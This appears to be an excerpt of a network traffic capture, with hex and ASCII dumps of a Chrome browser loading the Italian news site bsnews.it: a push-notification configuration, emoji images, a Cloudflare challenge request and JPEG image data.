2024-03-28 08:51:10 UTC	469	IN	Data Raw: 5f 5f 6a 70 30 28 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 61 70 70 5f 69 64 22 3a 22 33 31 31 30 31 32 66 37 2d 39 34 66 31 2d 34 31 38 63 2d 61 62 65 30 2d 33 33 33 36 62 61 30 31 37 35 38 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 32 2c 22 66 65 61 74 75 72 65 73 22 3a 7b 22 72 65 73 74 72 69 63 74 5f 6f 72 69 67 69 6e 22 3a 7b 22 65 6e 61 62 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 63 6f 6f 6b 69 65 5f 73 79 6e 63 22 3a 7b 22 65 6e 61 62 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 6d 65 74 72 69 63 73 22 3a 7b 22 65 6e 61 62 6c 65 22 3a 74 72 75 65 2c 22 6d 69 78 70 61 6e 65 6c 5f 72 65 70 6f 72 74 69 6e 67 5f 74 6f 6b 65 6e 22 3a 22 37 63 32 35 38 32 65 34 35 61 36 65 63 66 31 35 30 31 61 61 33 63 61 37 38 38 37 66 33 36 37 33 22 7d 2c 22 65 6e 61 62 6c 65 Data Ascii: __jp0({"success":true,"app_id":"311012f7-94f1-418c-abe0-3336ba01758e","version":2,"features":{"restrict_origin":{"enable":false},"cookie_sync":{"enable":false},"metrics":{"enable":true,"mixpanel_reporting_token":"7c2582e45a6ecf1501aa3ca7887f3673"},"enable
2024-03-28 08:51:10 UTC	1369	IN	Data Raw: 72 65 20 67 6c 69 20 75 6c 74 69 6d 69 20 61 67 67 69 6f 72 6e 61 6d 65 6e 74 69 20 64 69 20 42 73 4e 65 77 73 2e 69 74 20 73 75 20 42 72 65 73 63 69 61 20 65 20 70 72 6f 76 69 6e 63 69 61 3f 20 45 27 20 67 72 61 74 69 73 21 22 2c 22 63 75 73 74 6f 6d 69 7a 65 54 65 78 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 70 72 6f 6d 70 74 73 22 3a 5b 7b 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 65 78 74 22 3a 7b 22 63 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 61 63 63 65 70 74 42 75 74 74 6f 6e 22 3a 22 53 c3 ac 20 47 52 41 5a 49 45 22 2c 22 63 61 6e 63 65 6c 42 75 74 74 6f 6e 22 3a 22 4e 4f 22 2c 22 61 63 74 69 6f 6e 4d 65 73 73 61 67 65 22 3a 22 56 75 6f 69 20 72 69 63 65 76 65 72 65 20 67 6c 69 20 75 6c 74 69 Data Ascii: re gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","customizeTextEnabled":true,"prompts":[{"enabled":true,"text":{"customizationEnabled":true,"acceptButton":"S GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ulti
2024-03-28 08:51:10 UTC	1369	IN	Data Raw: 61 76 69 6f 72 22 3a 7b 22 61 6c 6c 6f 77 4c 6f 63 61 6c 68 6f 73 74 41 73 53 65 63 75 72 65 4f 72 69 67 69 6e 22 3a 66 61 6c 73 65 7d 2c 22 61 75 74 6f 52 65 73 75 62 73 63 72 69 62 65 22 3a 66 61 6c 73 65 2c 22 77 65 6c 63 6f 6d 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 22 3a 7b 22 75 72 6c 22 3a 6e 75 6c 6c 2c 22 74 69 74 6c 65 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 22 3a 74 72 75 65 2c 22 6d 65 73 73 61 67 65 22 3a 22 47 72 61 7a 69 65 20 70 65 72 20 65 73 73 65 72 74 69 20 69 73 63 72 69 74 74 6f 20 61 67 6c 69 20 61 67 67 69 6f 72 6e 61 6d 65 6e 74 69 22 2c 22 75 72 6c 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 42 65 68 61 76 69 6f 72 22 3a 7b 22 63 6c 69 63 6b 22 3a 7b 22 6d 61 74 63 68 22 3a 22 65 78 61 63 Data Ascii: avior":{"allowLocalhostAsSecureOrigin":false},"autoResubscribe":false,"welcomeNotification":{"url":null,"title":null,"enable":true,"message":"Grazie per esserti iscritto agli aggiornamenti","urlEnabled":true},"notificationBehavior":{"click":{"match":"exac
2024-03-28 08:51:10 UTC	1369	IN	Data Raw: 45 57 53 2e 49 54 20 53 55 20 42 52 45 53 43 49 41 20 45 20 50 52 4f 56 49 4e 43 49 41 3f 22 2c 22 61 75 74 6f 41 63 63 65 70 74 54 69 74 6c 65 22 3a 22 43 4c 49 43 43 41 20 41 43 43 45 54 54 41 22 2c 22 63 75 73 74 6f 6d 69 7a 65 54 65 78 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 2c 22 6e 61 74 69 76 65 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 75 74 6f 50 72 6f 6d 70 74 22 3a 74 72 75 65 7d 2c 22 62 65 6c 6c 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 73 69 7a 65 22 3a 22 6c 61 72 67 65 22 2c 22 63 6f 6c 6f 72 22 3a 7b 22 6d 61 69 6e 22 3a 22 23 45 31 32 44 33 30 22 2c 22 61 63 63 65 6e 74 22 3a 22 77 68 69 74 65 22 7d 2c 22 64 69 61 6c 6f 67 22 3a 7b 22 6d 61 69 6e 22 3a 7b 22 74 69 74 6c 65 22 3a 22 4d 61 6e 61 Data Ascii: EWS.IT SU BRESCIA E PROVINCIA?","autoAcceptTitle":"CLICCA ACCETTA","customizeTextEnabled":true},"native":{"enabled":false,"autoPrompt":true},"bell":{"enabled":false,"size":"large","color":{"main":"#E12D30","accent":"white"},"dialog":{"main":{"title":"Mana
2024-03-28 08:51:10 UTC	303	IN	Data Raw: 36 2d 62 31 33 34 2d 32 37 32 63 39 61 61 66 30 30 62 39 22 2c 22 6f 72 69 67 69 6e 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 73 6e 65 77 73 2e 69 74 22 2c 22 73 75 62 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 22 2c 22 68 74 74 70 5f 75 73 65 5f 6f 6e 65 73 69 67 6e 61 6c 5f 63 6f 6d 22 3a 74 72 75 65 2c 22 6f 75 74 63 6f 6d 65 73 22 3a 7b 22 64 69 72 65 63 74 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 7d 2c 22 69 6e 64 69 72 65 63 74 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 7b 22 6d 69 6e 75 74 65 73 5f 73 69 6e 63 65 5f 64 69 73 70 6c 61 79 65 64 22 3a 36 30 2c 22 6c 69 6d 69 74 22 3a 31 30 7d 7d 2c 22 75 6e 61 74 74 72 69 62 75 74 65 64 22 Data Ascii: 6-b134-272c9aaf00b9","origin":"http://www.bsnews.it","subdomain":"bsnews","http_use_onesignal_com":true,"outcomes":{"direct":{"enabled":false},"indirect":{"enabled":false,"notification_attribution":{"minutes_since_displayed":60,"limit":10}},"unattributed"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49892	192.0.77.48	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	598	OUT	GET /images/core/emoji/14.0.0/svg/1f4fa.svg HTTP/1.1 Host: s.w.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:10 UTC	487	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:10 GMT Content-Type: image/svg+xml Content-Length: 687 Connection: close Last-Modified: Tue, 12 Apr 2022 03:47:26 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 1 X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-03-28 08:51:10 UTC	687	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 33 31 33 37 33 44 22 20 64 3d 22 4d 33 35 20 33 31 73 30 20 34 2d 34 20 34 48 35 63 2d 34 20 30 2d 34 2d 34 2d 34 2d 34 56 31 32 63 30 2d 34 20 34 2d 34 20 34 2d 34 68 32 36 73 34 20 30 20 34 20 34 76 31 39 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 33 31 33 37 33 44 22 20 64 3d 22 4d 32 31 2e 33 30 33 20 31 30 2e 33 38 39 63 2e 33 39 31 2e 33 39 31 2e 33 39 31 20 31 2e 30 32 33 20 30 20 31 2e 34 31 34 73 2d 31 2e 30 32 33 2e 33 39 31 2d 31 2e 34 31 34 20 30 6c 2d 39 2e 31 39 32 2d 39 2e 31 39 32 63 2d 2e 33 39 31 2d 2e 33 39 31 2d Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#31373D" d="M35 31s0 4-4 4H5c-4 0-4-4-4-4V12c0-4 4-4 4-4h26s4 0 4 4v19z"/><path fill="#31373D" d="M21.303 10.389c.391.391.391 1.023 0 1.414s-1.023.391-1.414 0l-9.192-9.192c-.391-.391-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49891	192.0.77.48	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	598	OUT	GET /images/core/emoji/14.0.0/svg/1f534.svg HTTP/1.1 Host: s.w.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:10 UTC	464	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:10 GMT Content-Type: image/svg+xml Content-Length: 113 Connection: close Last-Modified: Tue, 12 Apr 2022 03:47:26 GMT X-Frame-Options: SAMEORIGIN Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 1 X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-03-28 08:51:10 UTC	113	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 44 44 32 45 34 34 22 20 63 78 3d 22 31 38 22 20 63 79 3d 22 31 38 22 20 72 3d 22 31 38 22 2f 3e 3c 2f 73 76 67 3e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><circle fill="#DD2E44" cx="18" cy="18" r="18"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49897	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	795	OUT	POST /cdn-cgi/challenge-platform/h/g/jsd/r/86b660308efd07dd HTTP/1.1 Host: bsnews.it Connection: keep-alive Content-Length: 15858 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://bsnews.it Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1
2024-03-28 08:51:10 UTC	15858	OUT	Data Raw: 7b 22 77 70 22 3a 22 24 2d 37 71 58 51 57 46 58 55 37 58 66 54 48 57 61 57 65 6a 74 71 51 45 6a 49 39 6a 41 63 41 2b 2b 51 46 57 35 31 6a 6e 6b 45 62 6b 4b 37 6a 6f 6e 52 32 48 6b 55 57 33 6a 66 61 37 4f 67 2d 2d 6a 49 56 2b 6a 78 6a 2b 45 2b 37 57 6a 5a 2b 57 36 48 47 71 56 55 2d 44 69 4d 71 6e 6b 43 2d 39 49 4e 33 65 54 4f 50 71 36 43 58 77 39 34 57 4e 31 6e 56 41 6a 58 37 37 75 41 6f 51 44 67 6a 42 4f 67 4b 72 44 6a 72 71 54 6f 6a 51 77 37 6a 41 71 51 51 71 43 66 71 41 6a 57 6b 6a 74 55 7a 6a 57 34 44 6a 6d 79 46 49 4f 2d 52 57 49 56 67 37 6a 51 79 44 6a 51 48 32 74 6a 32 51 6a 57 44 5a 4b 38 37 4d 33 39 45 51 4f 51 57 72 36 39 2d 31 58 43 68 76 72 6e 6a 63 71 51 41 4c 70 2d 6a 46 7a 2d 6b 54 4b 6e 73 5a 4f 6a 32 76 72 56 43 63 49 71 6a 38 56 63 4b 41 Data Ascii: {"wp":"$-7qXQWFXU7XfTHWaWejtqQEjI9jAcA++QFW51jnkEbkK7jonR2HkUW3jfa7Og--jIV+jxj+E+7WjZ+W6HGqVU-DiMqnkC-9IN3eTOPq6CXw94WN1nVAjX77uAoQDgjBOgKrDjrqTojQw7jAqQQqCfqAjWkjtUzjW4DjmyFIO-RWIVg7jQyDjQH2tj2QjWDZK87M39EQOQWr69-1XChvrnjcqQALp-jFz-kTKnsZOj2vrVCcIqj8VcKA
2024-03-28 08:51:10 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:10 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA; path=/; expires=Fri, 28-Mar-25 08:51:10 GMT; domain=.bsnews.it; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PwwM8PRgusJO6wnDmD4ItkOdvS2fioe%2F3Hs5AVEKI6JqwqdVX7V42y7FRwXsnhtelJXSYg%2B0NZeD4yvqvU4yu3L81KuY49p2x56Kar0lFDHVzPHKOY27QutacSM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660787e5a1ff1-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49898	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	417	OUT	GET /bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	600	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: image/jpeg Content-Length: 17338 Connection: close Last-Modified: Wed, 31 Jan 2024 09:22:31 GMT Expires: Fri, 30 Jan 2026 21:22:31 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "41ecbf8269e90c03" X-Bytes-Saved: 1580 Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:11 UTC	769	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 06 04 05 07 03 02 01 08 ff c4 00 1b 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 04 01 03 05 02 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 df c0 00 00 00 Data Ascii: JFIFCCD"
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 83 52 a3 51 be 0a ee 76 d0 69 ed aa 75 f4 1f 31 a9 4d ee c3 8f 9b d4 f1 d7 87 b5 6e 93 de 1f d9 aa 57 1e 7e c8 f2 c9 16 63 d9 f3 64 22 38 7d 0f 0a c0 06 3b 00 08 a9 6f 94 4c 2f e6 10 84 d2 bb 04 be 1d f3 b4 00 23 a0 00 00 00 00 8a b8 da 02 52 5e d3 10 30 26 6d 4a c0 33 c4 9d e7 c0 60 2e fa 3f b0 3c 7b af a7 b4 eb fe 4c de 5b 51 1b 8d 81 80 f4 0f 77 55 c4 13 2e aa 74 12 ba e1 ca c3 d3 e7 65 f7 90 ac 3d 66 33 af df 1e f2 b4 fe 25 cf cf 74 33 f6 8f 30 67 20 f2 07 89 b1 f4 f3 e6 b9 2d 32 a4 d8 05 17 80 00 00 15 b6 58 5d 6f eb 96 b9 9c 2e 2f d3 eb 72 66 88 b5 e1 32 1b 94 e6 26 4b cf 1f 69 f4 b3 7d cc 49 ed 36 3a da 39 d5 39 7f 1d d7 34 b5 3e 96 f5 92 11 6b bd bd 03 aa cb 5d 48 ab b7 d3 c3 a8 b2 eb f0 e7 c1 d1 67 45 7a 0d 13 04 db 1e 4b 3d b9 aa 68 b2 20 3a a4 Data Ascii: RQviu1MnW~cd"8};oL/#R^0&mJ3`.?<{L[QwU.te=f3%t30g -2X]o./rf2&Ki}I6:994>k]HgEzK=h :
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: f1 bd 66 db 6a 29 25 14 8e e0 84 d9 ff 00 8b 34 96 66 b0 40 0b 94 b7 94 56 f3 7b d3 95 e4 72 bc 1f 29 1c 24 70 9c 9e 7a 7a d9 6f 6a bc 6c 01 6e ad 67 bb 49 8c bd 13 5b 17 24 49 73 49 00 3b 42 e1 35 4b 2b 90 cf aa 8a 8d 78 99 f4 84 d8 1b 22 fc 3b 46 61 47 ca a8 b7 c7 61 5e b5 ca d5 9f 2a 7b 81 b5 fb 30 3e d8 78 6a c4 0d 54 e2 f5 d3 56 81 d4 05 7d 2e 1c a1 d8 77 58 9c a1 98 bd c7 fe 37 44 b1 21 e1 23 c4 95 e4 72 38 39 e5 6d cb db 84 9e 4f 13 a7 91 7d 39 3c 1f bf c1 55 8f c3 5b 52 15 d1 e6 c1 2d 1c c4 89 5b 53 f0 2d 2a 41 fc 00 3c f6 96 94 a5 f6 e3 c7 39 29 66 4b 80 d3 1c 46 a4 5a eb b7 e0 39 6a 5b 6c 56 88 ba 8d 56 88 e7 68 8e 95 25 3e e9 d9 9f 0e 66 8a 44 bd af 5a f0 45 86 79 5e 47 23 95 9e 45 f9 37 e5 a7 95 89 b5 93 15 22 b2 21 52 b5 1d 23 f1 74 9e ca 6d Data Ascii: fj)%4f@V{r)$pzzojlngI[$IsI;B5K+x";FaGa^{0>xjTV}.wX7D!#r89mO}9<U[R-[S-A<9)fKFZ9j[lVVh%>fDZEy^G#E7"!R#tm
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 72 0f eb f3 53 50 43 33 f1 bf 34 da 18 da 1c dd c7 f5 46 86 32 e7 1e d5 c8 d9 83 0d ce 77 be fb a1 43 08 8d cc dc 50 d1 b0 7d 79 dd 7d 9f 10 69 68 27 eb d3 fc a1 a3 a1 0d c2 2f 6e cb f8 59 32 8a 26 12 46 fb df d5 0a 28 84 5a a3 b4 7c 93 a8 60 2e c5 6e cf c1 7d 9f 09 61 63 ae 72 e0 14 9a 3e 09 2f 8b 7f d7 e4 b9 0c 7d a7 e5 b6 ea be 92 28 34 7c e2 3d ed fc 93 86 01 d1 ae 4e f7 34 6c 42 95 9e dd 74 9d e2 b5 d2 f7 8a d7 4b de 2b 5d 27 78 a6 c9 33 8d 81 2a 92 2a 88 c5 de f3 e4 9a e7 76 a2 f7 76 a7 4e 46 f4 e7 6b 9b 84 95 53 47 33 22 e8 5c 4a c7 29 6f 48 48 f5 55 15 6f c3 60 e3 c5 30 d5 32 3c 58 cf 14 2a 6a b1 91 8c f1 51 36 47 83 77 1e 2a 0a 7d 5e 67 e0 c5 56 c8 07 46 dd bd a5 52 54 4f 3b ae 7a a8 27 29 41 50 82 8b b0 b6 ea 5a 76 cb 99 4f d1 91 b5 d7 2e 45 a0 Data Ascii: rSPC34F2wCP}y}ih'/nY2&F(Z\|`.n}acr>/}(4\|=N4lBtK+]'x3*vvNFkSG3"\J)oHHUo`02<XjQ6Gw*}^gVFRTO;z')APZvO.E
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 15 f2 f6 4a 65 af f5 4c 8d ac be 5f 1e 8a 18 f2 8d 52 a6 70 93 62 9e 64 88 e4 ba 26 fc 7b 92 01 59 5b c9 65 6f 25 95 bc 96 56 f2 59 5b c9 00 07 4f f8 5b 6e 49 cf 39 95 7d b3 8f 4f 8b ff c4 00 47 10 00 02 01 02 03 04 05 07 09 06 04 06 03 00 00 00 01 02 03 00 11 04 12 21 13 31 41 51 05 22 32 61 71 10 14 20 23 42 81 91 30 33 34 52 72 92 a1 b1 c1 15 35 62 93 d1 e1 24 73 a2 f0 36 43 50 53 a3 f1 63 c2 d2 ff da 00 08 01 01 00 06 3f 02 f9 13 84 c2 3a ab 0d 1e 4d f6 ee 15 99 b1 f8 8c dd ee 68 79 c3 9c 44 1c 73 76 87 be bc db a3 24 b2 7b 52 8d e7 c2 b3 c8 cc cd cc 9d 68 2b b1 92 3e 47 85 65 31 62 00 1e d6 4f ef 5b 5c 2c a1 ad d9 61 c0 d6 4c 46 87 eb 55 c5 13 f5 4d eb 37 0e 22 83 0d c6 91 39 0b d3 c7 c8 df c9 73 5b 63 a2 f0 ef ae a3 6c d7 f1 ab 8c 4c bf 7c d0 13 fa Data Ascii: JeL_Rpbd&{Y[eo%VY[O[nI9}OG!1AQ"2aq #B034Rr5b$s6CPSc?:MhyDsv${Rh+>Ge1bO[\,aLFUM7"9s[clL\|
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: ad 34 12 e7 32 36 2d 26 bd b8 0a c7 6d 11 da 19 cb b4 3a 6a 84 e9 58 51 d2 06 74 93 08 b9 3d 5a dc 48 bf a5 4f 86 d8 bc 51 cd 8a 57 08 ba d9 07 eb 58 94 9b 06 ab 87 9e 33 1e 75 1d 7b 70 e3 40 77 1a 67 5d d5 96 34 39 bf 8b 85 17 73 d7 fa d5 a9 bd 5a 22 c0 7a 18 bf f2 1f f2 ff 00 a0 28 1c 8d 08 17 b4 db e8 34 11 e6 6f 6a d5 fe 21 72 af 2b eb 59 96 69 2d ca ac 38 79 4b 31 b0 51 73 46 ec cb 09 ec c4 39 77 d0 92 28 10 91 ec ba 02 a6 b1 12 64 58 d7 68 6c 8b b9 6b ac ab f0 ae ac 31 81 f6 2a fb 25 05 77 d8 53 a6 eb 36 ef 25 a4 5d 07 25 af a1 c0 47 7a 53 48 42 c1 6d fd 4b d5 e2 96 39 47 23 18 fd 69 99 f0 31 2a 8d c7 20 d7 dd 5f 31 1f dd af a3 c5 f7 05 7d 1a 2f b8 2b e8 d1 7d c1 5f 46 87 ee 0a fa 2c 3f 70 57 d1 a1 fb 82 af 14 11 5f 96 41 47 fc 20 16 de 72 8a eb 20 Data Ascii: 426-&m:jXQt=ZHOQWX3u{p@wg]49sZ"z(4oj!r+Yi-8yK1QsF9w(dXhlk1%wS6%]%GzSHBmK9G#i1 _1}/+}_F,?pW_AG r
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: db c6 93 c2 ac 45 67 8b 5b 70 ac d5 76 50 48 dd 5d 50 05 4a f7 f5 6e b9 53 c0 7f b3 e4 95 8e e4 6c 8b ee ad d5 12 70 9d 32 9f 27 5d 41 ad a6 c5 73 73 b7 c8 9c 33 92 16 57 45 24 6f ec 8a 77 18 c9 97 2a de ee 45 bf 2a c4 e1 c9 26 20 03 01 f5 4d 4b 17 48 62 36 71 89 19 06 b6 d0 6e 14 5f a3 b3 ed 86 e5 2f a3 d2 c1 d2 28 55 e3 9e c9 76 07 ab 6a c1 ac d6 ca f0 aa 6b c6 fc 2b cd fd 8c d9 a3 3c d6 b0 9f 69 bf 4a 83 17 12 ab 32 41 1d 83 6e d6 c2 be 8f 86 f8 1f eb 50 63 66 0a 9b 5f 54 c1 77 72 a8 25 51 f3 e9 97 de 0f f7 14 fd 12 3b 43 0b 6f 75 ad fa 54 f8 82 3e 6a 3c be f3 ff 00 aa 9e 59 6c c9 15 ca 03 c7 2d 80 fe b4 d0 45 1a c5 12 f6 4b 25 f3 d3 c3 d2 2c b1 e2 6c 72 80 87 b5 c0 8a c1 db b4 30 e9 6f 85 32 1d ea 7d 12 aa 7d 64 dd 51 fa d4 72 fd 56 d6 b2 5f 54 d2 a5 Data Ascii: Eg[pvPH]PJnSlp2']Ass3WE$owE& MKHb6qn_/(Uvjk+<iJ2AnPcf_Twr%Q;CouT>j<Yl-EK%,lr0o2}}dQrV_T
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: c8 19 77 66 e4 0b 12 6c a4 53 18 8a 6d b0 14 c9 b8 c7 01 54 f4 76 ae 1a 39 86 96 f6 bf c4 56 15 4d 91 c2 0c 6c ae f7 06 19 2a 0a c0 57 37 f8 95 10 41 0b 40 1a 17 11 1c 6b 93 ba 07 64 a0 92 f2 e3 b6 1e 73 19 b7 12 da 7b fb 4b 34 94 aa c1 30 11 bd 60 50 30 55 96 69 1a 67 88 8b 2c e6 6e 41 0d f6 89 b2 25 e8 d2 0b cb 01 ca aa f0 73 0b 65 1a f9 cd 61 8a bc ca 63 87 40 7a 95 48 f4 8b d1 ca 14 09 1b 34 a0 8d 43 e9 80 34 61 ce be d1 b0 bc 34 76 83 9c 49 32 23 67 42 3c d1 73 46 b8 71 5b c3 6e 0a 81 6d 36 8f c5 cf 49 e6 56 d1 c2 dd 21 15 0a c6 95 6c b5 83 cc 03 43 ea bb a8 7a 51 13 05 b2 ac 42 48 e0 29 3a 59 ac d3 73 dd 2a ed 2a ee 3d bb 75 59 87 a5 de 09 6b 4d b6 3d 22 fa e8 58 d4 1c 42 86 60 ae c2 a2 1d 0b a4 59 f2 e5 ae 31 23 aa e1 fa 3e 6b 9c 4c 2b 72 1b a0 88 Data Ascii: 